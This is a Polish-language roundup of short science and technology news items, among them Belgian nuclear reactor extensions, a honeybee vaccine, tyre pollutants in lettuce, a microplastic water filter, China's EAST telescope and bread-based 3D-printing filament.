Czytaj też: Waży 240 ton i dzierży 1,4 MWh akumulator. To kolosalne wozidło jest przejawem dążenia do ekologicznych kopalni

Dlatego też według naukowców możliwe byłoby stworzenie tabliczki czekoladowej, w której tłuszcz koncentruje się w dużej mierze na zewnątrz tabliczki i wokół cząstek kakao, a w środku jest go ogólnie mniej, co uczyniłoby z czekolady nawet zdrowszy przysmak.

Bruksela ogłosiła w marcu 10-letnie opóźnienie planowanego od dawna odejścia od energii jądrowej już w 2025 roku. Zmiany na arenie międzynarodowej i energetyczny kryzys sprawiły jednak, że elektrownie jądrowe Belgii nie zostaną wyłączone i właśnie doczekaliśmy się tego oficjalnego potwierdzenia.

W dobie kryzysu elektrycznego dwie elektrownie jądrowe Belgii będą służyć jeszcze przez dekadę

Niedawno Belgia uzgodniła z francuską firmą energetyczną Engie szczegóły co do przedłużenia o dekadę okresu eksploatacji dwóch reaktorów jądrowych. Nastąpiło to po długich miesiącach negocjacji z belgijskimi władzami, co objęło m.in. szczegóły utworzenia spółki, prowadzącej reaktory oraz ograniczenia kosztów utylizacji odpadów jądrowych.

Czytaj też: Elektrownie węglowe biją rekordy emisji, ale ten materiał je ograniczy

Obecnie Beliga czerpie swoją energię elektryczną z siedmiu starzejących się reaktorów jądrowych, obsługiwanych przez Engie, które zaspokajają około połowę jej zapotrzebowania na energię elektryczną. Co ciekawe, obietnica stopniowego wycofywania się z energii jądrowej jest zapisana w belgijskim prawie od 2003 roku i jej najbliższym efektem będzie wyłączenie dwóch starszych reaktorów.

Poznaliśmy najnowsze plany NASA na szalone wręcz projekty, które mają przyspieszyć eksplorację kosmosu i ciał niebieskich. Agencja kosmiczna wyłożyła kasę na kilkanaście nietypowych koncepcji, które sprawiają wrażenie nie z tej ziemi.

NASA chce nadal finansować szalone koncepcje. Część z nich może wspomóc proces eksploracji kosmosu

Dowiedzieliśmy się, że NASA rozdaje 175000 dolarów dla 14 projektów w ramach wstępnych grantów na badania, które mogą być przydatne w misjach w i poza Układem Słonecznym. Praktycznie wszystkie z nich brzmią niewiarygodnie i jako że są bardzo wczesnymi inicjatywami, mogą skończyć się już na tym etapie i nigdy nie doczekać się rzeczywistych testów. NASA doskonale o tym wie, ale żyje nadzieją, że w tych szaleństwach odnajdą się potencjalnie rewolucyjne metody.

Czytaj też: Pierwsza taka szczepionka w historii. Co tym razem szury wymyślą?

Kilka najciekawszych projektów obejmuje:

Trzeba przyznać, że część z tych pomysłów brzmi dość futurystycznie, niczym z najlepszych filmów science-fiction. Czekamy z niecierpliwością na informacje o ich dalszej realizacji.

Przeciwnicy szczepionek dali światu się we znaki w dobie pandemii, kiedy to walczyli ze szczepionkami na COVID-19 i propagowali teorie spiskowe z „chipowaniem” społeczeństwa na czele. Teraz szczepionek doczekają się nasi skrzydlaci przyjaciele i jak myślicie? Co tym razem szury wymyślą?

Po raz pierwszy w historii do użytku zostanie wprowadzona szczepionka dla pszczół miodnych

Pszczoły są kluczowe dla ekosystemów na całym świecie jako jedne z najbardziej pracowitych owadów-zapylaczy. Dbanie o nie, to jak dbanie o przyszłość naszą i naszych dzieci, dlatego możemy tylko cieszyć się z najnowszego ogłoszenia Amerykańskiego Departamentu Rolnictwa, które dotyczy pierwszej w historii szczepionki dla pszczół miodnych. Ta ma chronić pszczoły przed zgnilcem amerykańskim, a więc bakterią, która może wyniszczać całe kolonie.

Czytaj też: Zanieczyszczenie żywności rośnie. Najpewniej jemy resztki opon i wcale o tym nie wiemy

Za szczepionkę odpowiada firma biotechnologiczna o nazwie Dalan Animal Health, która oparła ją na martwych larwach Paenibacillus, a więc bakteriach wywołującej chorobę. Stosowanie szczepionki wśród pszczół nie wymaga stosowania żadnych igieł, bo szczepionka jest podawana poprzez mieszanie jej z pokarmem, którym żywią się pszczoły robotnice. Szczepionka trafia następnie do „mleczka pszczelego”, którym trutnie karmią swoją królową, dzięki czemu potomstwo już rodzi się wtedy z pewną odpornością na szkodliwe bakterie.

Plastik staje się problemem wagi, którą trudno sobie wyobrazić. Zaczął bowiem zaśmiecać nie tylko naszą planetę, ale też żywność, czego efektem jest to, że jemy ciągle np. resztki opon i wcale o tym nie wiemy. Najnowsze badanie na ten temat zapewniło co do tego nowe odpowiedzi.

Rośliny jadalne mogą pochłaniać zanieczyszczenia z opon i niszczyć nasze ciała

Z badania naukowców z zespołu University of Vienna wynika, że sałata łatwo wchłania cząsteczki emitowane w toku eksploatacji opon samochodowych. Podczas jazdy zużycie opon emituje do środowiska mikroskopijne cząsteczki, które zawierają przeciwutleniacze, przyspieszacze wulkanizacji, aktywatory, substancje pomocnicze i plastyfikatory. Ostatecznie cząstki te trafiają do gleby na polach uprawnych poprzez połączenie osadów atmosferycznych, spływów z dróg i osadów z oczyszczalni ścieków używanych przez rolników jako nawóz.

Czytaj też: Wyczuwanie naprężenia nie było prostsze. Ten czujnik jest dziełem rodem z przyszłości

Poprzednie badania tego samego zespołu wykazały, że wiele z tych cząstek uwalnia zanieczyszczenia w górnych warstwach gleby, ale zespół był ciekawy, co może się stać, jeśli dotrą aż do samych systemów korzeniowych. Stąd najnowsze badanie z udziałem sałaty i pięciu substancji zanieczyszczających pochodzących z opon, wśród których tylko jeden jest uznawany (na ten moment) za toksyczny.

Wedle pomiarów sałata rosnąca w zanieczyszczonym roztworze (następnym krokiem są takie same badania, ale z udziałem tradycyjnej gleby) pobierała związki przez korzenie, a następnie transportowała je do liści i tam też gromadziła. Zespół eksperymentował również z dodawaniem okruchów opon do wody i odkrył, że rośliny sałaty nadal pobierały z nich zanieczyszczenia i na dodatek metabolizowały chemikalia w nowe substancje o nieznanym stopniu niebezpieczeństwa dla ludzi. Z kolei substance zamknięte w liściach sałaty mogą zostać uwolnione w procesie trawienia i wpłynąć negatywnie na organizm.

Obecnie stosowane czujniki naprężenia bazują najczęściej na wykrywaniu zmian w prądzie elektrycznym, które powoduje ich rozciąganie przez badany obiekt. Nie są idealne, ale nowy czujnik rodem z przyszłości rozwiązuje ich największe bolączki, aby wyczuwanie naprężenia nie było prostsze.

Ten czujnik odmienia wyczuwanie naprężenia

Większość obecnych czujników naprężenia stosowanych do m.in. do śledzenia aktywności fizycznej lub odczytywania ciśnienia krwi. Sprawdzają się dobrze, ale mają swoje ograniczenia na poziomie czułości oraz wykrywania ruchów w szerokim zakresie. Nowo opracowane czujniki zwalczają te problemy, ponieważ łączą wysoką czułość z szerokim zakresem wykrywalnego ruchu. To oznacza, że będą w stanie wykryć marginalne zmiany i to nawet po znaczącym rozciągnięciu.

Czytaj też: Nowa era produkcji nadchodzi, bo przestrzeń kosmiczna znosi ziemskie ograniczenia

Odpowiadają za nie naukowcy North Carolina State University, którzy postawili na elastomerowy pasek polimerowy z osadzoną wewnątrz siecią nanoprzewodów ze srebra, przewodzących prąd elektryczny. Kluczowym rozwiązaniem w ich przypadku jest seria równoległych nacięć, na przemian z lewej i prawej strony, które odpowiadają za całą magię.

Kiedy taki czujnik jest w stanie spoczynku, prąd elektryczny przepływający przez niego może przejść bezpośrednio przez nacięcia. Kiedy jednak jest rozciągany lub skręcany, nacięcia te tworzą szczeliny i tym samym zygzakowaty wzór, którego prąd musi przepłynąć, co zwiększa jednocześnie opór elektryczny, którego można mierzyć i tym samym wykrywać nawet bardzo małe rozciągnięcia/ruchy. Nie wiadomo jednak nic o jego implementacji w obecnej technologii.

W ramach najnowszej współpracy z NASA, naukowcy z MIT zweryfikują nowy sposób produkcji, który z racji grawitacji nie jest możliwy na Ziemi. Jeśli wszystko się powiedzie, nastąpi istna nowa era produkcji, która zrzuci z przemysłu ziemskie okowy i przyspieszy ekspansję ludzkości na inne ciała niebieskie.

Nowa era produkcji nadchodzi, dzięki mikrograwitacji w kosmosie

Naukowcy z MIT realizują obecnie program badawczy, który ma na celu uwolnienie pełnego potencjału produkcji w warunkach mikrograwitacji. Badany proces polega na wypełnianiu elastycznego silikonu płynną żywicą do momentu, aż uzyska się wymaganą część, a jako że taka metoda produkcji wykorzystuje tanie i szeroko dostępne produkty na rynku, jej potencjał jest ogromny.

Czytaj też: Woda czysta jak łza. Ten filtr usuwa praktycznie wszystkie mikroplastiki

W celu zweryfikowania tej metody produkcyjnej na Międzynarodowej Stacji Kosmicznej znalazło się specjalne metalowe pudełko o wielkości standardowej obudowy komputera stacjonarnego. We wnętrzu tego pudła znajduje się system dyszy, która wstrzykuje żywicę do silikonowych powłok w kształcie wymaganej części. Sama żywica jest wrażliwa na światło ultrafioletowe, więc na ostatnim etapie naświetlanie usztywnia ją, nadając całej części solidną strukturę.

Po procesie produkcji, który potrwa 45 dni, sprzęt i wyprodukowane części wrócą na Ziemię w celu analizy. Jeśli wszystko zostanie ocenione pozytywnie, następnym etapem będzie produkcja bardziej skomplikowanych części.

Na Stanford University opracowano właśnie sposób, jak wzmocnić nanowydruki w stosunkowo prosty sposób. Nowy materiał umożliwia, żeby te były znacznie mocniejsze niż kiedykolwiek wcześniej, a także by można je było drukować jeszcze szybciej.

Wystarczy specjalny kompozyt, aby wzmocnić nanodruki

Wspomniany kompozyt sprowadza się zo żywicy polimerowej połączonej z maleńkimi skupiskami atomów metalu. Wykorzystać go można w tradycyjnych procesach litografii dwufotonowej, w której to do płynnej mieszaniny żywicy zostaje skierowany laser. Tam, gdzie środek wiązki uderza w jeden z nanoklastrów, zachodzi reakcja chemiczna, powodująca utwardzenie żywicy w tym konkretnym miejscu.

Czytaj też: Woda czysta jak łza. Ten filtr usuwa praktycznie wszystkie mikroplastiki

W testach na obiektach w formie krat wykazano, że wydruki są w stanie pochłonąć dwa razy więcej energii niż kraty wydrukowane z innych powszechnie stosowanych materiałów. W zależności od formy krat, niektóre z nich doskonale radziły sobie z przenoszeniem dużych obciążeń bez deformacji, podczas gdy inne były w stanie zgnieść się, aby zaabsorbować uderzenia, a następnie powrócić do swojej pierwotnej, nieuszkodzonej formy.

Gdyby tego było mało, wydruki z wykorzystaniem tego dodatku do filamentu były wykonywane szybciej i to nawet w przypadku zastosowania mieszanki wielu różnych polimerów. W przypadku polimeru na bazie białka, przedmioty mogły być drukowane 100 razy szybciej.

Plastik jest wszędzie – również w środowiskach uważanych niegdyś za ostoje czystości (najgłębszych rowach oceanicznych, największych szczytach górskich, biegunach). Trafia tym samym również do naszego układu pokarmowego, z czym walczą obecnie naukowcy, rozwijając filtry różnego rodzaju, wśród których ostatnio sławą zaczął cieszyć się jeden szczególny filtr, który usuwa praktycznie wszystkie mikroplastiki.

Naukowcy zrewolucjonizowali filtry do wody specjalnym polimerem i materiałem

Owoc pracy naukowców z DGIST w Korei Południowej doczekał się premiery na łamach Advanced Materials. Bazuje na materiale CTF (covalent triazene framework), a więc wysoce porowatym materiale o dużej powierzchni, który ma w sobie dużo miejsca na przechowywanie cząsteczek, dzięki czemu w innym badaniu okazał się bardzo skuteczny w usuwaniu organicznych barwników ze ścieków przemysłowych.

Czytaj też: Chiny stworzą największy w Azji teleskop optyczny. Mowa o EAST

Zespół starannie zaprojektował cząsteczki w CTF, aby bardziej przyciągały wodę, a następnie poddał materiał łagodnemu utlenianiu. Otrzymany filtr okazał się skuteczny w bardzo szybkim usuwaniu mikroplastików z wody. Wedle badań podobno ponad 99,9% zanieczyszczeń zostało usuniętych w ciągu 10 sekund, a że sam materiał może być również wielokrotnie używany bez zmniejszenia jego wydajności, okazał się świetną podstawą do innowacyjnego filtra.

Ci sami naukowcy połączyli bowiem CFT usuwający mikroplastiki ze specjalnym polimerem, który może absorbować światło słoneczne, przekształcać energię w ciepło i wykorzystywać je do oczyszczania wody z innych zanieczyszczeń. Prototyp łączący oba rodzaje membran był w stanie usunąć ponad 99,9% obu rodzajów zanieczyszczeń.

Chiński Peking University ma ambitne plany budowy największego teleskopu optycznego w Azji o nazwie EAST (Expanding Aperture Segmented Telescope), który zostanie zbudowany na górze Saishiteng w pobliżu miasta Lenghu w prowincji Qinghai na płaskowyżu tybetańskim.

Chiński EAST będzie największym w Azji teleskopem optycznym

Zważywszy na ogłoszenie najnowszej inicjatywy, w ramach której powstanie największy w Azji teleskop optyczny oraz wcześniejszych projektów pokroju obserwatorium kosmicznego Xuntian czy największego na świecie radioteleskopu z pojedynczą aperturą, Chiny wkrótce mogą wyrosnąć na lidera w dziedzinie obserwacji kosmosu.

Czytaj też: Zamiast do kompostownika trafia do drukarki 3D. Jak Polacy drukują z chleba?

Chiński największy w Azji teleskop optyczny ma powstać do 2024 roku i będzie miał aperturę o średnicy 6 metrów, ale w ciągu 6 lat jego lustro zostanie rozszerzone do 8 metrów. Wedle założeń „znacznie poprawi możliwości obserwacyjne Chin w astronomii optycznej”, a jeśli wszystko pójdzie zgodnie z planem, stanie się pierwszym światowej klasy teleskopem optycznym na półkuli wschodniej, który będzie w stanie konkurować z obiektami na półkuli zachodniej.

EAST ma zostać zbudowany na wysokości około 4200 metrów i składać się z 18 sześciokątnych segmentów lustrzanych o średnicy 6 metrów, podobnych do lustra dla Kosmicznego Teleskopu Jamesa Webba NASA. W drugiej fazie projektu teleskopu dodano by pierścień 18 kolejnych sześciokątnych segmentów wokół lustra, powiększając je do 8 metrów. Szacuje się, że projekt będzie kosztował od 69 do 84 milionów dolarów.

Naukowcy z American Chemical Society uważają, że istniejące metody produkcji nanowłókien są skomplikowane, powolne lub niepoprawne, bo zapewniają nie pojedyncze, a zbite nanowłókna. Ich celem stało się więc ulepszenie produkcji nanowłókien, w czym zainspirowali się jedwabnikami (owadami wytwarzającymi jedwab).

Jak odwzorowanie jedwabników pozwoliło na ulepszenie produkcji nanowłókien?

Jedwabnik szybko i łatwo wytwarza własne, wysokiej jakości ultracienkie włókna jedwabiu, wydzielając swoją lepką ślinę na powierzchnię, a następnie odciągając głowę do tyłu i tym samym wciągając ślinę w długą nić. Naukowcy odtworzyli ten proces w technice znanej jako przędzenie kierowane mikroadhezją, które polega na wpychaniu układu mikroigieł w kawałek pianki nasączonej roztworem tlenku polietylenu, a następnie wyciąganiu ich z powrotem.

Czytaj też: Zamiast do kompostownika trafia do drukarki 3D. Jak Polacy drukują z chleba?

W miarę wycofywania igieł, każda z nich wyciąga z gąbki cienką nić polimeru. Nici te szybko wysychają, po czym można je przeciąć i wykorzystać. Poprzez naśladowanie różnych sposobów poruszania głową przez jedwabnika podczas produkcji włókien jedwabiu, możliwe jest również tworzenie różnych rodzajów nanowłókien.

„Każdy sposób, by uratować chleb przed staniem się odpadem i utrzymanie go w obiegu zamkniętym produkcji, jest właściwy” – wspomina Bartłomiej Rak z polskiej firmy REBREAD, która znalazła interesujący sposób na wykorzystanie przeznaczonego do utylizacji chleba w ramach współpracy z Sygnis.

Polacy opracowali filament, który składa się w 10% z czerstwego chleba

Firma REBREAD powstała po to, aby „ratować pieczywo przed staniem się odpadem i przerabiać go na wartościowe produkty”. Sens swojej inicjatywy akcentuje faktem, że tylko w Polsce marnujemy około dwa miliony ton pieczywa. To może być wykorzystane na dosyć innowacyjny sposób, bo w drukarkach 3D jako swoisty filament, co odkryto w kwietniu, kiedy to w ręce specjalistów Sygnis trafił worek czerstwego chleba od REBREAD.

Czytaj też: Badanie fazy REM w domu. Dzięki SomaSleep stało się to możliwe

Zespół firmy Sygnis próbował przerobić go na filament na bazie biodegradowalnego materiału PLA, czyli polilaktydu z dodatkiem suchego chleba i to mu się udało. Proces tworzenia filamentu z czerstwego chleba rozpoczyna się od jego rozdrobnienia, a następnie wymieszania z granulatem polimerowym (1:9) i następnie wtłoczenia do maszyny 3devo Composer 450, która może go wykorzystać do produkcji różnego rodzaju przedmiotów (doniczek, podstawy do uprawy grzybów czy biodegradowalnych opakowań).

Firma Somalytics z Seattle opracowała SomaSleep, aby badanie fazy REM w domu było proste, szybkie i tak naprawdę wreszcie możliwe.

SomaSleep sprawiła, że badanie fazy REM w domu jest proste

Faza REM to szczególny moment snu, który odznacza się wysoką aktywnością mózgu, nieregularnym oddechem i szybkimi ruchami gałek ocznych. Wedle badań odgrywa ważną rolę w procesie uczenia się, zapamiętywania i rozwoju mózgu, a jego analizy wymagają badań laboratoryjnych. Jednak dzięki SomaSleep każdy z nas może przeprowadzić analizę faz REM we własnej sypialni.

Czytaj też: Kosmiczne fabryki ThinkPlatform od ThinkOrbital mają wnieść możliwości ludzkości na nowy poziom

SomaSleep w przeciwieństwie do laboratoryjnego sprzętu wykorzystuje nie elektrookulografię, a tajemnicze czujniki z nanorurek węglowych. Dzięki temu firmie udało się ograniczyć formę domowego sprzętu do analizy REM, sprowadzając ją do opaski na oczy, która wysyła dane do sparowanego smartfona lub tabletu. Obecnie jednak Somalytics dopiero poszukuje partnerów, którzy pomogą wprowadzić urządzenie na rynek, ale dumnie twierdzi, że SomaSleep powinna być komercyjnie dostępna do grudnia przyszłego roku w cenie 199$.